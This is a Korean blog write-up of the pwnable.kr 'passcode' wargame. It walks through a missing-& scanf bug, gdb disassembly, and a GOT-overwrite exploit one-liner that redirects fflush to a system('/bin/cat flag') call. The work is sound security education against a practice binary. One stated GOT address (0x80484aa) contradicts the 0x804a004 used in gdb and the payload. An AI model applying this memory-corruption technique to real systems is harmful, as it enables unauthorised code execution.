문제
Mommy told me to make a passcode based login system. My initial C code was compiled without any error! Well, there was some compiler warning, but who cares about that?
ssh passcode@pwnable.kr -p2222 (pw:guest)
풀이
서버에 접속하여 ls
명령을 입력해보면 passcode
, passcode.c
, flag
3개의 파일이 존재하는 것을 알 수 있습니다. cat
명령어를 통해 passcode.c
파일을 확인합니다.
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
main
함수에서 welcome()
→ login()
순으로 실행됩니다. welcome()
함수에서 100byte를 입력 받고 그 값을 출력합니다. login()
함수에는 2개의 입력을 받아 출력하는데 scanf()
함수에 &
연산자가 누락된 것을 알 수 있습니다. &
연산자가 없으면 scanf
함수는 받은 인자를 주소로 인식합니다. 이를 이용하여 변수 값을 주소 삼아 쓰는 것이 가능합니다. 그리고 fflush(stdin)
명령을 통해 입력 버퍼를 비웁니다. 여기서 우리가 주목해야 할 코드는 다음과 같습니다.
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
printf("enter passcode2 : ");
scanf("%d", passcode2);
이 둘의 입력 값을 passcode라는 변수에 저장하는 것이 아닌 passcode 를 주소로 하는 곳에 저장을 하게 됩니다. 예를 들어 passcode가 0x12341234 라면 0x12341234에 우리가 입력한 값이 저장되는 것입니다. 두 변수 모두 초기화 되지 않았으므로 더미 값이 들어가 있을 것이고 그 더미 값을 주소로 하는 곳에 입력 값을 저장하게 되기 때문에 오류가 발생합니다.
gdb를 이용하여 바이너리를 분석해봅시다.
0x0804862f <+38>: lea edx,[ebp-0x70]
0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx
0x08048636 <+45>: mov DWORD PTR [esp],eax
0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt>
welcome() 함수에서 ebp-0x70에 입력 값을 저장합니다.
0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10]
0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx
0x08048583 <+31>: mov DWORD PTR [esp],eax
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
epb-0x10이 passcode1 의 위치임을 알 수 있습니다. welcome()
함수에서 100byte 만큼의 입력을 받는데 [ebp-0x70] - [ebp-0x10] = 0x60 = 96byte이므로 passcode1의 값에 대한 조작이 가능합니다. 그리고 passcode의 값을 주소로 하는 곳에 원하는 아무 값을 넣을 수 있으므로 원하는 주소에 원하는 값을 넣을 수 있게 됩니다. 이제 fflush(stdin)
을 우회 해야 합니다. 조작할 수 있는 4byte를 사용하여 fflush
의 got 를 login의 system
함수로 바꾸면 system("/bin/cat/flag")
가 실행될 것입니다.
(gdb) i func
All defined functions:
Non-debugging symbols:
0x080483e0 _init
0x08048420 printf@plt
0x08048430 fflush@plt
0x08048440 __stack_chk_fail@plt
0x08048450 puts@plt
0x08048460 system@plt
0x08048470 __gmon_start__@plt
0x08048480 exit@plt
0x08048490 __libc_start_main@plt
0x080484a0 __isoc99_scanf@plt
0x080484b0 _start
0x080484e0 __do_global_dtors_aux
0x08048540 frame_dummy
0x08048564 login
0x08048609 welcome
0x08048665 main
0x080486a0 __libc_csu_init
0x08048710 __libc_csu_fini
0x08048712 __i686.get_pc_thunk.bx
0x08048720 __do_global_ctors_aux
0x0804874c _fini
(gdb) x/i 0x8048430
0x8048430 <fflush@plt>: jmp DWORD PTR ds:0x804a004
(gdb)
fflush
의 got 주소는 0x80484aa
입니다.
0x080485de <+122>: call 0x8048450 <puts@plt>
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
login
함수에서 system
함수의 시작 부분은 0x80485e3
입니다. 이를 이용하여 공격 코드를 작성하면 아래와 같습니다.
passcode@ubuntu:~$ (python -c 'print "A" * 96 + "\x04\xa0\x04\x08" + "134514147"';cat) | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
'Wargame & CTF > pwnableKR' 카테고리의 다른 글
Toddler(input) (0) | 2023.11.26 |
---|---|
Toddler(random) (0) | 2023.11.26 |
Toddler(flag) (0) | 2023.11.26 |
Toddler(bof) (0) | 2023.11.26 |
Toddler(collision) (1) | 2023.11.26 |